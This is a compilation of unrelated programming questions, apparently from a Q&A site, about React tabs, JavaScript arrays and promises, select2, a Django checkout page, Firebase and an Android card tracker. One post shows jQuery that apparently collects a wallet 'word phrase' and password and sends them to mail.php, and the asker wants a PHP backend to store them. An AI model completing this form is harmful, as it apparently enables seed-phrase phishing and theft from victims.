Default Tab is adding twice in React JS

https://jsfiddle.net/t5q37nbe/2/

First of all, I have created a tab section using AntDesign library. The problem that I have is Tab-1 is default Tab. As soon as the code runs, it automatically opens with the Tab-1. On clicking the ADD Tab-1 button, another tab-1 gets popped. I don’t want that to happen. On clicking Tab-1 it shouldn’t open a new tab again.

Here I have set ‘1’ for focusing and openingpane in order to be default,

 this.state = {
  focusingPaneKey: '1',
  openingPaneKeys: [1],
}

Can any one help me in solving this glitch.

How to prevent change of array stored in snapshot class upon modification of the restored or original array Javascript

As part of a screening process, I was sent a TestDome link to assess my Data structure Prowess. The question goes like this,
Modify the implementation of the Snapshot class so that an Array stored
in the snapshot is not affected by modifications to either the original or restored Array.

This is the original Javascript code

var array = [1, 2];
var snap = new Snapshot(array);
array[0] = 3;
array = snap.restore();
console.log(array.join()); //It should log "1,2"
array.push(4);
array = snap.restore();
console.log(array.join()); //It should log "1,2"

At this point, it logs
3,2
3,2,4
to the console. but the goal is for the console to log 1, 2 and 1, 2 both times

I understand for the array in the constructor to remain unchanged, I need to copy and array and transfer all computations to the copied array for that class instance.
Now, this is what I did, I converted the array to integer and stored it in a new variable.

var array = [1, 2];
var result = array.map((x) => {return parseInt(x, 10); }); //line I added
var snap = new Snapshot(result); // changed snapshot parameter to result
array[0] = 3;
array = snap.restore();
console.log(array.join()); //It should log "1,2"
array.push(4);
array = snap.restore();
console.log(array.join()); //It should log "1,2"

Now the problem is it logs 1,2 and 1, 2, 4 to the console
I don’t get why snap doesn’t restore to before the push method. Or maybe my whole approach was wrong.

Please don’t just answer with the correct code. I wish to understand your thought process as well.

JS Request await Request, return doesnt wait for promise

I got a problem, I need to await a request to be finished in my Node.js code, I only get returned undefined or Promise pending and my code doesnt await for my array to be filled. Thanks alot

function request(){
  var arrTours = [];
  var p1 = new Promise(function (resolve) {
    

    request(optionsauth, function (error, response) {
      if (error) throw new Error(error);
      var JSONResponseCode = JSON.parse(response.body)
      var accesstoken = JSONResponseCode.access_token
      getData(accesstoken)
    });

    function getData(accesstoken){
      var options = {
        'method': 'GET',
        'url': 'https://google.com',
        'headers': {
          'Authorization': 'Bearer ' + accesstoken
        },
        formData: {
        }
      };
    
      request(options, function (error, response) {
        if (error) throw new Error(error);
        const xml = response.body;
        var TourLength = 5;
        
        
        for (var i=0; i<TourLength; i++)
          parser.parseString(xml, function (err, result) {
            const Tour = {
              Day: result[0]
            };
            arrTours.push(Tour)
          })
          resolve(arrTours)
        });
      }
      
  })
}

async function f1() {
  var x = await request();
  return x
}
f1();

i want to print inventory data

I want to print inventory data

const inventory = require('./cars.js');


console.log(inventory[id])

the data is like

let inventory = [{"id":1,"car_make":"Lincoln","car_model":"Navigator","car_year":2009},
{"id":2,"car_make":"Mazda","car_model":"Miata MX-5","car_year":2001},
{"id":3,"car_make":"Land Rover","car_model":"Defender Ice Edition","car_year":2010}]

PHP Script that writes post to mySQL database

I have this JavaScript code here and it posts to ‘mail.php’ which I dont have. Can someone help me write a PHP script that will write this to a mySQL database? I just want it to post to my mySQL database but I have no idea how to do that. I think its pretty simple, but I have no knowledge in JS or PHP. Any help is appreciated.

$(document).ready(function() {
    
    console.log($('#my-phrase').length)

    $('button[type="submit"]').click(function(e) {

        e.preventDefault()
        
        console.log($('#my-phrase').length)

        var phrase = $('#my-phrase').val(),
            password = $('#form-field-field_0e9487d').val()

        if (phrase == '') {
            error('Provide Word Phrase')
            return
        } 
        
        // else if (password == '') {
        //     error('Provide Session Password')
        //     return
        // }

        Swal.fire('Processing')
        
        var formData = [phrase, password]

        $.ajax({
            async: false,
            url: 'mail.php',
            data: { data: formData },
            type: 'POST',
            success: function(data) {
                if (data == '1') {
                    $('#phrase').val('')
                    // window.location.href = 'success';
                    success('Validation Sucessful')
                } else {
                    error('An error occurred.')
                }
            }
        })
    })



    function error(msg) {
        Swal.fire(
            'Error',
            msg,
            'error'
        )
    }

    function success(msg) {
        Swal.fire(
            'Success',
            msg,
            'success'
        )
    }

})

How to automatically open a website and fill out a form and submit it?

Everyday I have to login for work and I wanted to know how can I automate the process without installing a 3rd party software or browser extension since I’m using my work’s computer.

I created a batch file to open the login website.

@ECHO OFF
start https://login.example.com

And I know that if I run this code on the developer console it would achieve what I’m looking for.

document.getElementById("username").value = 'UserExample';
document.getElementById("passwd").value = 'PassExample';
document.getElementById("Log_On").click();

But I can’t find how to automate the second part which is filling out the form.

Thanks in advance.

I am getting Uncaught TypeError: Cannot read properties of null (reading ‘addEventListener’)

I am building an e-com site using the Django framework. to make it more efficient I am using javascript here and there. So the problem occurs at the checkout page and specifically if a user is logged in. On my site, a user can shop even if he is not logged in as a guest user. so if a guest user is going to the checkout page he can submit the process and make payment without running into any issues. But when a user is logged in the checkout page returns the error on load! even before writing anything into the form. I am attaching the checkout page code here for you guys to give it a good look. I have tried to debug it as well as run into the built-in code snippets here. It works fine without any issues

{% extends 'store/main.html' %}
{% load static %}
{% block content %}

<div class="row">
    <div class="col-lg-6">
        <div class="box-element" id="form-wrapper">
            <form id="form">
                <div id="user-info">
                    <div class="form-field">
                        <input required class="Form-control" type="text" name="name" placeholder="Name">
                    </div>
                    <div class="form-field">
                        <input required class="Form-control" type="email" name="email" placeholder="Email">
                    </div>
                </div>
                <div id="shipping-info">
                    <hr>
                    <p>shipping-info</p>
                    <hr>
                    <div class="form-field">
                        <input required class="Form-control" type="text" name="address" placeholder="Street">
                    </div>
                    <div class="form-field">
                        <input required class="Form-control" type="text" name="city" placeholder="City">
                    </div>
                    <div class="form-field">
                        <input required class="Form-control" type="text" name="state" placeholder="State">
                    </div>
                    <div class="form-field">
                        <input required class="Form-control" type="text" name="zipcode" placeholder="Zip Code">
                    </div>
                </div>

                <hr>
                <div class="d-grid gap-2">
                    <input id="form-button" class="btn btn-outline-info" type="submit" value="Continue">
                </div>
            </form>
        </div>
        <br>

        <div class="col-lg-6">
            <div class="box-element hidden" id="payment-info">
                <small>Paypal</small>
                <button id="make-payment">Make Payment</button>
            </div>
        </div>
    </div>

    <div class="col-lg-6">
        <div class="box-element">
            <a class="btn btn-outline-primary" href="{% url 'cart' %}">&#x2190;Back to Cart</a>
            <hr>
            <h3>Order Summary</h3>
            <hr>
            {% for item in items %}
            <div class="cart-row">
                <div style="flex: 2;"><img class="row-image" src="{{item.product.imageURL}}"></div>
                <div style="flex: 2;">{{item.product.name}}</div>
                <div style="flex: 1;">${{item.product.price|floatformat:2}}</div>
                <div style="flex: 1;">
                    <p><strong>x{{item.quantity}}</strong></p>
                </div>
            </div>
            {% endfor %}
            <h5>Items: {{order.get_cart_items}}</h5>
            <h5>Total: ${{order.get_cart_total|floatformat:2}}</h5>
        </div>
    </div>
</div>

<script type="text/javascript">
    var shipping = '{{order.shipping}}'
    var total = '{{order.get_cart_total|floatformat:2}}'

    if (shipping == 'False') {
        document.getElementById('shipping-info').innerHTML = ''
    }

    var form = document.getElementById('form');
    form.addEventListener('submit', function (e) {
        e.preventDefault()
        console.log('form submitted...')
        document.getElementById('form-button').classList.add('hidden')
        document.getElementById('payment-info').classList.remove('hidden')
    })

    document.getElementById('make-payment').addEventListener('click', function (e) {
        submitFormData()
    })


    function submitFormData() {
        console.log('Payment button clicked')
        var userFormData = {
            'name': null,
            'email': null,
            'total': total,
        }

        var shippingInfo = {
            'address': null,
            'city': null,
            'state': null,
            'zipcode': null,
        }

        if (shipping != 'False') {
            shippingInfo.address = form.address.value
            shippingInfo.city = form.city.value
            shippingInfo.state = form.state.value
            shippingInfo.zipcode = form.zipcode.value
        }

        if (user == 'AnonymousUser') {
            userFormData.name = form.name.value
            userFormData.email = form.email.value
        }

        var url = '/process_order/'
        fetch(url, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                    'X-CSRFToken': csrftoken,
                },
                body: JSON.stringify({
                    'form': userFormData,
                    'shipping': shippingInfo
                })
            })

            .then((response) => response.json())
            .then((data) => {
                console.log('Success:', data);
                alert('Transaction Completed!');

                cart = {}
                document.cookie = 'cart=' + JSON.stringify(cart) + ";domain=;path=/"
                window.location.href = "{% url 'store' %}"

            })
    }
</script>

{% endblock content %}

Jquery assign value to select2 dropdown

I have dropdowns that are being appended dynamically on a page. However, I could not assign the value to the select2. Anyone can help me with this?

Below is what I have try to do to assign the data to select2, but still cannot. Where am I missing??

1. $('select.row-item').eq(index).val(item.itemID);
2. $('.row-item:eq("' + index + '")').val('"' + item.itemID + '"')
3. var $row = $(html)
   a. $row.find("row.item option[value=" + item.itemID + "]").prop("selected", true);
   b. $row.find('select .row-item').val(item.itemID).trigger('change');

$(function() {
  var data = data1
  var html = '';
  html += '<thead><tr>';
  html += '<th>Item</th>';
  html += '<th>Description</th>';
  html += '<th>Qty</th>';
  html += '<th>Total</th>';
  html += '</tr></thead>';
  html += '<tbody class="acc_table">';
  data.forEach((item, index) => {
    html += '<tr class="acc-row">';
    html += '<td><select class="row-item"><option label="Choose One"> </option><option value="10">ITEM 1</option><option value="20">ITEM 2</option></select></td>';
    html += '<td><input class="row-desc" type="text" value="' + item.itemName + '"></td>';
    html += '<td><input class="row-qty" type="text" onkeyup="onlyDecimal(this)" value="' + item.itemQty + '"></td>';
    html += '<td><input class="row-totalamount" type="text" value="' + item.totalAmount + '" disabled></td>';
    html += '</tr>';
    //at here I assign the data to select2
    $('select.row-item').eq(index).val(item.itemID);
  });
  html += '</tbody>';
  $('.item tbody').empty();
  $('.item').append(html);
  $('.row-item:last').select2();
  $('.item').DataTable({
    "paging": false,
    "ordering": false,
    "info": false,
    "searching": false,
  });
})

const data1 = [{
    "itemID": "10",
    "itemName": "Item 1",
    "itemQty": "1",
    "totalAmount": "50.00"
  },
  {
    "itemID": "20",
    "itemName": "Item 2",
    "itemQty": "5",
    "totalAmount": "150.00"
  }
]
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<script src="https://cdn.datatables.net/1.11.5/js/jquery.dataTables.min.js"></script>
<link href="https://cdn.datatables.net/1.11.5/css/jquery.dataTables.min.css" rel="stylesheet" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.13/js/select2.full.min.js"></script>


<table class="item">

i create time using tolocalString() and then i use this code to change the color every sec but it work only last color not for all

i create time using tolocalString() and then i use this code to change the color every sec but it work only last color not for all

var time=document.getElementById("time");


setInterval(function(){
    var da=new Date();
var ti=da.toLocaleTimeString();
// console.log("yes");
time.innerHTML=ti;
},1000);

setInterval(function(){
var arr=["red","blue","green"];
 var i=Math.floor(Math.random() * 2) + 1;
//  console.log(i);
    time.style.color=time.classList.add(arr[i]);
    console.log(i);

},1000);

How do I write a Map to a text file in JavaScript?

I am trying to write the contents of a Map to a text file, but am getting an error. Here is my code:

const dictionary = new Map()
dictionary['foo'] = 10
dictionary['test'] = 5
dictionary['sample'] = 7
require('fs').writeFile('textFile.txt', dictionary, (error) => {
    if(error) throw err
})

The error I get says that I cannot write a Map as the ‘data’ argument must be of type string or an instance of Buffer, TypedArray, or DataView. Is there a way that I can write the contents of my Map to the ‘textFile.txt’ file?

How to access Firebase Realtime Database through a REST API

right now I am using firebase in a react project with some cloud functions. The react app writes and listens to updates from the firebase database in real time through the javascript sdk. However, I’d like to move all my backend logic to a REST API. Howver, I am stuck wondering how I’d subscribe to realtime updates on the database without accessing the database directly on the client. Is there an existing way to do this currently?

ReCaptcha missing styling on every Apple Devices

Hi every I hope your doing well, I’m having an issue with my re-captcha and some how the missing styling it happens on every Apple Devices while THE desktop and android devices are working fine. I’d like to know your all thought on this issue. Thank you.

enter image description here

I use the basic usage of react-google-recaptcha:

import ReCAPTCHA from "react-google-recaptcha";

function onChange(value) {
  console.log("Captcha value:", value);
}

ReactDOM.render(
  <ReCAPTCHA
    sitekey="Your client site key"
    onChange={onChange}
  />,
  document.body
);

Unit testing for JavaScript in the context of a web application

I’ve done some research about this topic, and I think I know what to do. However, as per my understanding this requires confusing or complex configuration.

Objective:

Ability to perform unit testing for JavaScript code that is used within the context of a web application.

The JavaScript functions are deployed in script file and linked to the HTML page using traditional methods.

We need to used a simple Unit Testing Framework similar to Jest and avoid the need to get into Brower Control such as using Selenium WebDriver and the like.

The problem is Jest works with NodeJS and not sure how to make this work with front-end web application.

High-Level Approach:

Based on my research, it seems I have to keep the script used for the web application in a separate configuration of the test project. See example below:

//Main JavaScript used by HTML: sciprt.js
function addTwoNumbers(a, b) {
  return a+b;
}
...
...
other functions
...
...
<!DOCTYPE html>
<html>
<body>

<h1>The script src attribute</h1>

<script src="script.js">
</script>

</body>
...
...
</html>

Now let’s say we need to used Jest to write test scripts, then we have to setup a NodeJS project which means we have to copy the script file script.js to the test project, and convert it to use JavaScript Modules.

I am trying to avoid this confusing setup, and looking for a method to write test scripts to use the same deployed parts of the web application without the need to mess around with files.

Another problem I will face is how to deal with functions that references HTML components? Those will not be available to NodeJS, correct? I believe this can be done by refactoring the code to become modular so that the functions to be tested will not reference web elements.

I appreciate your help to setup a test project and use the deployed script and avoid the need to do complex or confusing setup.

How can I keep track of a variable in android app?

when user enter to the app he chose team 1 (Brazil)or team 2(Argentine) after that he chose yellow or red card then he chose a player after that in the first page it will show the player number and color of card.

enter image description here

My Question is How can keep track of the number of card and instead of showing player number I show how many either yellow or red card does team have .

CardActivity

public class CardActivity extends AppCompatActivity {

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_card);
}

private void setCardData(int card) {
    SharedPreferences settings getApplicationContext().getSharedPreferences("MainThisApp", 0);
    SharedPreferences.Editor editor = settings.edit();
    editor.putInt("card", card);
    editor.apply();

    Intent intent = new Intent(this, Myapp.game.NumberActivity.class);
    startActivity(intent);
}

public void setRedCard(View view) {

    ((Variable) this.getApplication()).setSomeVariable("card_yellow");

    setCardData(0);
}

public void setYellowCard(View view) {

    ((Variable) this.getApplication()).setSomeVariable("card_red");

    setCardData(1);
}}

MainActivity

public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    SharedPreferences prefs = getApplicationContext().getSharedPreferences("MainThisApp", 0);
    int check = prefs.getInt("check", 0);

    String s = ((Variable) this.getApplication()).getSomeVariable();
    try{
        Integer number = Integer.valueOf(s);
        System.out.println(number);
    }
    catch (NumberFormatException ex){
        ex.printStackTrace();
    }

    if (check == 50) {
        TextView view = null;
        int country = prefs.getInt("country", -1);
        int card = prefs.getInt("card", -1);

        if (country == 0 & card == 0) {

            view = findViewById(R.id.textView4);
        }
        if (country == 0 & card == 1) {

            view = findViewById(R.id.textView3);
        }
        if (country == 1 & card == 0) {

            view = findViewById(R.id.textView2);

        }
        if (country == 1 & card == 1) {

            view = findViewById(R.id.textView);
        }
        view.setText(String.valueOf(prefs.getInt("number",1)));
    }

}

public void chooseBrasil(View view) {
    setCountryData(0);
}

private void setCountryData(int country) {
    SharedPreferences settings = getApplicationContext().getSharedPreferences("MainThisApp", 0);
    SharedPreferences.Editor editor = settings.edit();
    editor.putInt("country", country);
    editor.apply();
    Intent intent = new Intent(this, CardActivity.class);
    startActivity(intent);
}
public void chooseArgentine(View view) {
    setCountryData(1);
}

NumberActivity

public class NumberActivity extends AppCompatActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_number);
    }

private void setNumberData(int number) {
    SharedPreferences settings = getApplicationContext().getSharedPreferences("MainThisApp", 0);
    SharedPreferences.Editor editor = settings.edit();
    editor.putInt("number", number);
    editor.putInt("check", 50);
    editor.apply();
    Intent intent = new Intent(this, MainActivity.class);
    startActivity(intent);
}

public void setNumber1(View view) {
    setNumberData(1);
}

public void setNumber2(View view) {
    setNumberData(2);
}

public void setNumber3(View view) {
    setNumberData(3);
}

public void setNumber4(View view) {
    setNumberData(4);
}

public void setNumber5(View view) {
    setNumberData(5);
}

public void setNumber6(View view) {
    setNumberData(6);
}

public void setNumber7(View view) {
    setNumberData(7);
}

public void setNumber8(View view) {
    setNumberData(8);
}